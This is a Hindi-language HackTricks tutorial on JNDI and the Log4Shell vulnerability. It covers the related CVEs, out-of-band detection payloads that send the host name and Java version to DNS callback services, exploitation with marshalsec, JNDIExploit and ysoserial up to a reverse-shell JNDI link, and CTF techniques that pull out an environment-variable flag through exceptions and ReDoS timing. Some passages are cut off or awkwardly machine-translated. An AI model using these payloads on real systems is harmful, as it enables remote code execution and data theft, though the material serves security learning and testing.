* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित करना चाहते हैं**? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की अनुमति चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह।
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** का** **अनुसरण** करें।**
* **अपने हैकिंग ट्रिक्स को** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में पीआर जमा करके अपना योगदान दें।**
विशेषता को ध्यान में रखते हुए विकसित किया गया है ताकि आप उन्हें तेजी से ठीक कर सकें। इंट्रूडर आपकी हमला सतह का पता लगाता है, प्रोएक्टिव धमकी स्कैन चलाता है, आपकी पूरी टेक स्टैक, एपीआई से वेब ऐप्स और क्लाउड सिस्टम तक, मुद्दों का पता लगाता है। [**इसे मुफ्त में प्रयास करें**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) आज।
JNDI जावा में 1990 के दशक से मौजूद है। यह एक निर्देशिका सेवा है जो एक नाम सेवा का उपयोग करके जावा कार्यक्रम को डेटा खोजने की अनुमति देती है। एक नाम सेवा मान्यताएं (बाइंडिंग) जोड़ता है, इसलिए इसका संदर्भ निर्देशिका में प्राप्त किया जा सकता है।
JNDI के पास कई **सेवा प्रदाता इंटरफेस** (SPIs) हैं जो इसे विभिन्न निर्देशिका सेवाओं का उपयोग करने की संभावना देते हैं। JNDI का उद्देश्य अन्य सिस्टम से डेटा प्राप्त करना बहुत आसानी से है। आप यहां तक कि आप दूरस्थ जावा ऑब्जेक्ट भी प्राप्त कर सकते हैं, और यहीं पर एक समस्या उत्पन्न होती है।
जावा ऑब्जेक्ट प्राप्त करने के लिए आप उन्हें सीरियलाइज़ कर सकते हैं और बाइनरी प्रतिनिधि को सहेज सकते हैं। लेकिन कुछ मामलों में यह काम नहीं करेगा (शायद क्योंकि डेटा बहुत बड़ा है या कोई अन्य कारण है)।\
जावा ऑब्जेक्ट्स को आसानी से सहेजने के लिए, **नाम संदर्भों का उपयोग किया जाता है**।\
* **संदर्भ पते**: इसमें ऑब्जेक्ट का पता दिया जाता है (_rmi://server/ref_), फिर **ऑब्जेक्ट उस पते से प्राप्त किया जाएगा**।
* **रिमोट फैक्टरी**: इस मामले में एक **रिमोट फैक्टरी कक्षा** को JNDI संदर्भ में दिखाया जाएगा, फिर, JNDI पते का पालन करते हुए रिमोट कक्षा रिमोट फैक्टरी से ली जाएगी और **कक्षा डाउनलोड और लोड** की जाएगी।
एक **Interoperable Object Reference (IOR)** CORBA या RMI-IIOP संदर्भ है जो एक दूरस्थ CORBA सर्वर पर एक ऑब्जेक्ट को अद्वितीयता से पहचानता है। IORs बाइनरी प्रारूप या बाइनरी के स्ट्रिंग हेक्स प्रतिनिधित्व में हो सकते हैं।
अन्य जानकारी के बीच, इसमें **Type ID** (एक इंटरफेस के लिए एक अद्वितीय पहचानकर्ता) और **Codebase** (स्टब कक्षा प्राप्त करने के लिए उपयोग किए जाने वाले दूरस्थ स्थान) शामिल हैं।
ध्यान दें कि **डिफ़ॉल्ट रूप से CORBA का दुरुपयोग नहीं किया जा सकता है**।
पिछले **JNDI Naming Reference Section** में इंगित किया गया है कि RMI डिफ़ॉल्ट रूप से अनिश्चित जावा कक्षाओं को डाउनलोड करने की अनुमति नहीं देगा। और इसके अलावा, यदि ऐसा होगा भी, तो आपको **सुरक्षा प्रबंधक नीतियों को दुर्गम करने** की आवश्यकता होगी (पिछले खंड में हमने यह सीखा था कि यह CORBA के साथ संभव है)।
सबसे पहले, हमें एक खोज और एक लुकअप के बीच भेद करना होगा।
एक **खोज** एक URL का उपयोग करेगी जैसे `ldap://localhost:389/o=JNDITutorial` जिससे LDAP सर्वर से JNDITutorial ऑब्जेक्ट को खोजा जाएगा और इसके गुणों को प्राप्त किया जाएगा।
एक **लुकअप** नेमिंग सेवाओं के लिए होता है क्योंकि हमें **जो भी एक नाम से बांधा हुआ है उसे प्राप्त करना है**।
एक **हमलावर लड़ाई रिकॉर्ड्स को अपने बीच में जहर घोल सकता है** जो उनमें शामिल होंगे और उन्हें निष्पादित किए जाएंगे जो उन्हें इकट्ठा करने वाले सिस्टमों में (यदि आपके पास LDAP सर्वर तक पहुंच है तो यह बहुत उपयोगी होगा)। इसे शामिल करने का एक और तरीका यह हो सकता है कि एक LDAP खोज में **MitM हमला किया जाए**।
यदि आप **एक ऐप को एक JNDI LDAP URL संकलित करने के लिए बना सकते हैं**, तो आप उस LDAP को नियंत्रित कर सकते हैं जिसे खोजा जाएगा, और आप वापस हमला भेज सकते हैं (log4shell)।
यदि `trustURLCodebase``true` है, तो हमलावर अपनी कक्षाओं को कोडबेस में प्रदान कर सकता है यदि नहीं, तो उसे कक्षाओं में ग
\_\_"Log4j 2.16.0 ने इस समस्या को ठीक कर दिया है जिसमें संदेश खोज पैटर्न के समर्थन को हटा दिया गया है और JNDI कार्यक्षमता को डिफ़ॉल्ट रूप से अक्षम कर दिया गया है," NVD सलाहकार का कहना है। 2.12.1 शाखा पर रहने वालों के लिए, एक ठीक कार्यक्षमता 2.12.2 में वापस लाई गई है।\\
* [**CVE-2021-4104**](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[उच्च]**: क्या हमने कहा था कि Log4j 2.x संस्करण भी संकटग्रस्त हैं? लेकिन **Log4j 1.x** के बारे में क्या?\
\
पहले सोचा जाता था कि यह सुरक्षित है, लेकिन Log4Shell ने पुराने Log4j में भी छिपने का तरीका ढूंढ़ लिया है। मूल रूप से, **\_JMSAppender**\_\*\* कक्ष का उपयोग करके Log4j 1.x इंस्टेंसेज के गैर-डिफ़ॉल्ट कॉन्फ़िगरेशन भी अविश्वसनीय डिसीरियलाइज़ेशन दोष के प्रति संवेदनशील हो जाते हैं\*\*.\
\
यद्यपि CVE-2021-44228 का एक कम गंभीर प्रकार है, फिर भी, यह CVE [log4j:log4j](https://search.maven.org/artifact/log4j/log4j) और [org.apache.log4j:log4j](https://mvnrepository.com/artifact/org.apache.log4j/log4j) के सभी संस्करणों पर प्रभाव डालता है जिनमें केवल 1.x रिलीज़ मौजूद हैं। क्योंकि ये [अंत-जीवन](https://logging.apache.org/log4j/1.2/) संस्करण हैं, **1.x शाखा के लिए कोई ठीक नहीं है**, और आपको _log4j-core_ 2.17.0 पर अपग्रेड करना चाहिए। (जाहिर है कि 1.0 प्रभावित नहीं होता है)।\\
* [**CVE-2021-42550**](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[मध्यम]:** यह एक संकटग्रस्तता है **Logback लॉगिंग फ्रेमवर्क** में। Log4j 1.x पुस्तकालय के एक उत्तरदायी के रूप में, Logback दावा करता है कि यह "log4j 1.x के अंत करता है"।\
\
पिछले सप्ताह तक, Logback ने भी [दावा](https://archive.md/QkzIy) किया था कि यह "log4j 2.x से संबंधित नहीं है, \[logback] इसके संकटग्रस्तताओं को साझा नहीं करता है"।\
\
यह धारणा जल्दी ही ध्वस्त हो गई जब **CVE-2021-4104** का पता चला कि यह Log4j 1.x पर भी प्रभाव डालता है, और Logback के **प्रभाव की संभावना** को [मूल्यांकन](https://jira.qos.ch/browse/LOGBACK-1591) किया गया। इस कम गंभीर संकटग्रस्तता को संबोधित करने वाले नए Logback संस्करण, 1.3.0-alpha11 और 1.2.9, अब [जारी](https://search.maven.org/artifact/ch.qos.logback/logback-classic) किए गए हैं।\\
* **CVE-2021-45105** **\[उच्च]**: **Log4j 2.16.0** को एक DoS संकट के लिए संकटग्रस्त पाया गया है जिसे 'उच्च' गंभीरता स्तर के रूप में रेट किया गया है। Apache ने इसके बाद **log4j 2.17.0 संस्करण** को जारी किया है जो CVE को ठीक करता है। इस विकास के बारे में अधिक विवरण BleepingComputer की [नवीनतम रिपोर्ट](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) में दिए गए हैं।
* [**CVE-2021-44832**](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/): यह नया CVE log4j के **2.17 संस्करण** को प्रभावित करता है। यह संकटग्रस्तता **हमलावर को log4j के कॉन्फ़िगरेशन फ़ाइल पर नियंत्रण रखने की आवश्यकता होती है** क्योंकि एक कॉन्फ़िगर किए गए JDBCAppender में एक JDNI URL निर्दिष्ट करना संभव होता है। संकटग्रस्तता और उपयोग के बारे में जानकारी के लिए [**इस जानकारी**](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/) को पढ़ें।
## Log4Shell शोधार्थता
### खोज
यह संकटग्रस्तता खोजना बहुत आसान है क्योंकि यह आपके पेलोड में निर्दिष्ट किए गए पते पर कम से कम एक **DNS अनुरोध** भेजेगा। इसलिए, इस तरह के पेलोड:
*`${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` ([canarytokens.com](https://canarytokens.org/generate) का उपयोग करते हुए)
*`${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` ([interactsh](https://github.com/projectdiscovery/interactsh) का उपयोग करते हुए)
*`${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}` (Burp Suite का उपयोग करते हुए)
*`${jndi:ldap://2j4ayo.dnslog.cn}` ([dnslog](http://dnslog.cn) का उपयोग करते हुए)
उदाहरण के लिए, आप कुछ इस तरह का अनुरोध कर सकते हैं:\
या ऐसा `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** और यदि एक **DNS अनुरोध प्राप्त होता है जिसमें env चर का मान होता है**, तो आपको पता चल जाएगा कि एप्लिकेशन में कमजोरी है।
**JDK के संस्करण 6u141, 7u131, 8u121 से अधिक वाले होस्ट** LDAP कक्षा लोडिंग वेक्टर के खिलाफ सुरक्षित होंगे **लेकिन डेसीरियलाइज़ेशन वेक्टर के खिलाफ सुरक्षित नहीं होंगे**। इसका कारण है कि `com.sun.jndi.ldap.object.trustURLCodebase` डिफ़ॉल्ट रूप से अक्षम होता है, इसलिए JNDI LDAP का उपयोग दूरस्थ कोडबेस लोड करने के लिए नहीं कर सकता है। लेकिन हमें डेसीरियलाइज़ेशन और चर लीक करने की क्षमता को अभी भी संभव है।\
इसका मतलब है कि **उल्लिखित संस्करणों को शोषण करने** के लिए आपको जावा एप्लिकेशन पर मौजूदा किसी भी विश्वसनीय गैजेट का दुरुपयोग करने की आवश्यकता होगी (उदाहरणार्थ, ysoserial या JNDIExploit का उपयोग करके)। लेकिन कम संस्करणों को शोषण करने के लिए, आप उन्हें एकांतरिक कक्षाओं को लोड और कार्यान्वयन करने के लिए बना सकते हैं (जिससे हमला आसान हो जाता है)।
**अधिक जानकारी के लिए** (_जैसे RMI और CORBA वेक्टर पर सीमाएँ_) **पिछले JNDI Naming Reference खंड की जांच करें** या [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/) पर जाएं।
इस शोषण के लिए उपकरण [**marshalsec**](https://github.com/mbechler/marshalsec) (यहां से [**जार संस्करण डाउनलोड करें**](https://github.com/RandomRobbieBF/marshalsec-jar)) का उपयोग किया जाएगा, जो एक LDAP referral सर्वर बनाने के लिए उपयोग होगा जो कनेक्शन को हमारे द्वितीय HTTP सर्वर पर पुनर्निर्देशित करेगा जहां हम हमला करेंगे:
हम चाहते हैं कि पीड़ित व्यक्ति कोड लोड करे जो हमें एक रिवर्स शेल भेजेगा, इसलिए आप निम्नलिखित सामग्री के साथ एक जावा फ़ाइल बना सकते हैं जिसका नाम Exploit.java होगा:
फ़ाइल बनाने के लिए **क्लास फ़ाइल** बनाएं: `javac Exploit.java -source 8 -target 8` और फिर एक **HTTP सर्वर** चलाएं जिसे उसी निर्देशिका में बनाई गई क्लास फ़ाइल है: `python3 -m http.server`।\
**marshalsec के LDAP सर्वर को इस HTTP सर्वर की ओर पोइंट करना चाहिए**।\
फिर, आप **विकल्पनीय वेब सर्वर को एक्सप्लॉइट क्लास को निष्पादित करने के लिए एक पेलोड भेज सकते हैं** जैसे:
_कृपया ध्यान दें कि यदि जावा को एलडीएपी का उपयोग करके दूरस्थ कोडबेस लोड करने के लिए कॉन्फ़िगर नहीं किया गया है, तो यह कस्टम उत्पादन नुकसानदायक काम नहीं करेगा। उस मामले में, आपको एक विश्वसनीय कक्षा का दुरुपयोग करने के लिए अनुमति चाहिए जिससे विचारहीन कोड को निष्पादित किया जा सके।_
ध्यान दें कि किसी कारण से लेखक ने लॉग4शैल की खोज के बाद इस प्रोजेक्ट को github से हटा दिया है। आप इसका कैश किया हुआ संस्करण यहां पाएंगे: [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) लेकिन यदि आप लेखक के निर्णय का सम्मान करना चाहते हैं, तो इस खोज को नुकसानदायक करने के लिए एक अलग विधि का उपयोग करें।
इसके अलावा, आप वेबवे मशीन में स्रोत कोड नहीं पा सकते हैं, इसलिए या तो स्रोत कोड का विश्लेषण करें, या जार फ़ाइल को निष्पादित करें जानते हुए कि आप जानते नहीं हैं कि आप क्या निष्पादित कर रहे हैं।
इस उदाहरण के लिए आप सिर्फ इस **वंशावली वेब सर्वर को लॉग4शैल के लिए नुकसानदायक** पोर्ट 8080 में चला सकते हैं: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_README में आपको इसे कैसे चलाने के बारे में जानकारी मिलेगी_). यह नुकसानदायक ऐप एक नुकसानदायक संस्करण के साथ एचटीटीपी अनुरोध हेडर _X-Api-Version_ की सामग्री को लॉग कर रहा है।
एक कुछ मिनट के बाद कोड पढ़ने के बाद, _com.feihong.ldap.LdapServer_ और _com.feihong.ldap.HTTPServer_ में आप देख सकते हैं कि कैसे **LDAP और HTTP सर्वर बनाए जाते हैं**। LDAP सर्वर समझेगा कि कौन सा पेलोड सेवा करना है और पीड़ित को HTTP सर्वर पर रीडायरेक्ट करेगा, जो एक्सप्लॉइट सेवा करेगा।\
_कॉम.फेहोंग.एलडीएपी.गैजेट्स_ में आप **कुछ विशिष्ट गैजेट्स** देख सकते हैं जो इच्छित कार्रवाई को करने के लिए उपयोग किए जा सकते हैं (संभावित रूप से अनियमित कोड को निष्पादित करें)। और _कॉम.फेहोंग.एलडीएपी.टेम्पलेट_ में आप विभिन्न टेम्पलेट कक्षाएं देख सकते हैं जो **एक्सप्लॉइट उत्पन्न करेंगी**।
**याद रखें कि अन्य शोषण विकल्पों के लिए `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` की जांच करें। इसके अलावा, यदि आपको आवश्यकता हो, आप LDAP और HTTP सर्वरों के पोर्ट को बदल सकते हैं।**
पिछले एक्सप्लॉइट की तरह, आप इस संकटग्रस्तता का शोषण करने के लिए [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) का उपयोग करने का प्रयास कर सकते हैं।\
आप पीड़ित को भेजने के लिए URL उत्पन्न कर सकते हैं:
_इस अटैक में एक कस्टम जेनरेटेड जावा ऑब्जेक्ट का उपयोग केवल **THM सोलर रूम** जैसे लैब में काम करेगा। हालांकि, यह आमतौर पर काम नहीं करेगा (क्योंकि डिफ़ॉल्ट रूप से जावा को रिमोट कोडबेस लोड करने के लिए LDAP का उपयोग करने की कॉन्फ़िगरेशन नहीं होती है) मुझे लगता है क्योंकि यह विश्वसनीय क्लास का दुरुपयोग नहीं कर रहा है जिससे अनियमित कोड को निष्पादित किया जा सके।_
यह विकल्प वास्तव में उपयोगी है **जावा संस्करणों को हमेशा केवल निर्दिष्ट क्लासों पर विश्वास करने और सभी को नहीं**। इसलिए, **ysoserial** का उपयोग किया जाएगा जो **विश्वसनीय क्लासों के serialization** को उत्पन्न करने के लिए उपयोग किया जा सकता है जो कि गैजेट्स के रूप में उपयोग किए जा सकते हैं और **अनियमित कोड को निष्पादित कर सकते हैं** (_ysoserial द्वारा दुरुपयोग किए जाने वाले विश्वसनीय क्लास का उपयोग विक्टिम जावा प्रोग्राम द्वारा किया जाना चाहिए ताकि एक्सप्लॉइट काम कर सके)_।
**ysoserial** या [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) का उपयोग करके आप JNDI द्वारा डाउनलोड किए जाने वाले डिसीरियलाइज़ेशन एक्सप्लॉइट बना सकते हैं:
[**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) का उपयोग करें ताकि **JNDI लिंक** उत्पन्न किए जा सकें, जहां अपरिहार्य मशीनों से कनेक्शन की प्रतीक्षा कर रहा हो। आप **JNDI-Exploit-Kit द्वारा स्वचालित रूप से उत्पन्न किए जा सकने वाले विभिन्न अपराध** या अपने **अपशंसनीय पेलोड** (आपके द्वारा उत्पन्न या ysoserial द्वारा उत्पन्न) को सर्व कर सकते हैं।
अब आप आसानी से एक उत्पन्न JNDI लिंक का उपयोग करके संक्रमितता को शोधने और एक **रिवर्स शैल** प्राप्त करने के लिए उपयोग कर सकते हैं: **`${ldap://10.10.14.10:1389/generated}`**
इस [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) में अच्छी तरह से समझाया गया है कि **Log4J** के कुछ सुविधाओं का दुरुपयोग करना संभव है।
> संस्करण 2.16.0 (जावा 8 के लिए) से, **संदेश लुकअप सुविधा पूरी तरह से हटा दी गई है**। कॉन्फ़िगरेशन में लुकअप काम करते हैं। इसके अलावा, लॉग4जे अब डिफ़ॉल्ट रूप से JNDI तक पहुंच को अक्षम कर देता है। कॉन्फ़िगरेशन में JNDI लुकअप को अब विशेष रूप से सक्षम करना चाहिए।
> संस्करण 2.17.0 (और जावा 7 और जावा 6 के लिए 2.12.3 और 2.3.1), **केवल कॉन्फ़िगरेशन में लुकअप स्ट्रिंग्स को रिकर्सिव रूप से विस्तारित किया जाता है**; किसी अन्य उपयोग में, केवल शीर्ष-स्तर का लुकअप हल किया जाता है, और किसी भी नेस्टेड लुकअप को हल नहीं किया जाता है।
इसका मतलब है कि डिफ़ॉल्ट रूप से आप किसी भी `jndi` अभियांत्रिकी का उपयोग भूल सकते हैं। इसके अलावा, रिकर्सिव लुकअप करने के लिए आपको उन्हें कॉन्फ़िगर करना चाहिए।
इस CTF में हमलावर ने `${sys:cmd}` के मान को नियंत्रित किया था और उसे एनवायरनमेंट वेरिएबल से फ्लैग को निकालने की आवश्यकता थी।\
जैसा कि [**पिछले पेलोड**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) में देखा गया है, एनवायरनमेंट वेरिएबल को एक्सेस करने के लिए विभिन्न तरीके हैं, जैसे: **`${env:FLAG}`**। इस CTF में यह अनुपयोगी था, लेकिन यह अन्य वास्तविक जीवन के परिदृश्यों में नहीं हो सकता है।
CTF में, आप लॉग4जे का उपयोग करके जावा एप्लिकेशन के stderr तक पहुंच नहीं पा रहे थे, लेकिन लॉग4जे **अपवाद stdout पर भेजे जाते हैं**, जो पायथन ऐप में प्रिंट होते हैं। इसका मतलब था कि एक अपवाद को ट्रिगर करके हम सामग्री तक पहुंच सकते थे। एक अपवाद जिसका उपयोग फ्लैग को एक्सफिल्ट्रेट करने के लिए किया गया था था: **`${java:${env:FLAG}}`.** यह काम करता है क्योंकि **`${java:CTF{blahblah}}`** मौजूद नहीं है और एक अपवाद में फ्लैग के मान को दिखाया जाएगा:
बस इसे उल्लेख करने के लिए, आप नए [**परिवर्तन पैटर्न**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) को इंजेक्ट कर सकते हैं और अपवाद को लॉग करने के लिए ट्रिगर कर सकते हैं जो `stdout` पर लॉग होगा। उदाहरण के लिए:
यह त्रुटि संदेश के अंदर तिथि को एक्सफिल्ट्रेट करने के लिए उपयोगी नहीं था, क्योंकि परिवर्तन पैटर्न से पहले लुकअप हल नहीं हुआ था, लेकिन यह डिटेक्ट करने जैसी अन्य चीजों के लिए उपयोगी हो सकता है।
हालांकि, एक लुकअप से जानकारी को एक्सफिल्ट्रेट करने के लिए कुछ **रेजेक्स समर्थित परिवर्तन पैटर्न** का उपयोग किया जा सकता है, जहां रेजेक्स का उपयोग करके **बाइनरी खोज** या **समय आधारित** व्यवहार का दुरुपयोग किया जा सकता है।
परिवर्तन पैटर्न **`%replace`** का उपयोग करके आप एक **स्ट्रिंग** से **सामग्री** को **रिप्लेस** कर सकते हैं, यहां तक कि **रेजेक्स** का उपयोग करके। यह इस प्रकार काम करता है: `replace{pattern}{regex}{substitution}`\
इस व्यवहार का दुरुपयोग करके आप रिप्लेस को **ट्रिगर कर सकते हैं अगर रेजेक्स कुछ स्ट्रिंग के अंदर मिल गया** (और अगर यह नहीं मिला था तो कोई अपवाद नहीं होगा) इस तरह से:
पिछले खंड में उल्लिखित किया गया था कि **`%replace`** रेजेक्स को समर्थन करता है। इसलिए, [**ReDoS पेज**](../regular-expression-denial-of-service-redos.md) से पेलोड का उपयोग करके एक **टाइमआउट** को उत्पन्न करना संभव है यदि फ्लैग मिल जाता है।\
उदाहरण के लिए, एक पेलोड जैसे `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` उस CTF में एक **टाइमआउट** को ट्रिगर करेगा।
इस [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) में, एक ReDoS हमले का उपयोग नहीं किया गया, बल्कि यह एक **वृद्धि हमला** का उपयोग करके प्रतिक्रिया में समय अंतर को उत्पन्न किया:
> यदि फ्लैग `flagGuess` से शुरू होता है, तो पूरा फ्लैग 29 `#`-s के साथ बदल दिया जाता है (मैंने इस वर्ण का उपयोग इसलिए किया है क्योंकि यह फ्लैग का हिस्सा होने की संभावना कम है)। **प्रत्येक परिणामस्वरूप 29 `#`-s को फिर से 54 `#`-s से बदल दिया जाता है**। इस प्रक्रिया को **6 बार** दोहराया जाता है, जिससे कुल ` 29*54*54^6* =`` `` `**`96816014208` `#`-s!** होते हैं।
> इतने सारे `#`-s को बदलने से Flask एप्लिकेशन का 10 सेकंड का टाइमआउट ट्रिगर होगा, जिससे प्रतिक्रिया में HTTP स्थिति कोड 500 उपयोगकर्ता को भेजा जाएगा। (यदि फ्लैग `flagGuess` से शुरू नहीं होता है, हमें गैर-500 स्थिति कोड प्राप्त होगा)
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks** में विज्ञापित करना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण का उपयोग करना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन की।
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल** हों या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** का** **अनुसरण** करें।**
* **अपने हैकिंग ट्रिक्स साझा करें, PRs के माध्यम से** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में सबमिट करके।**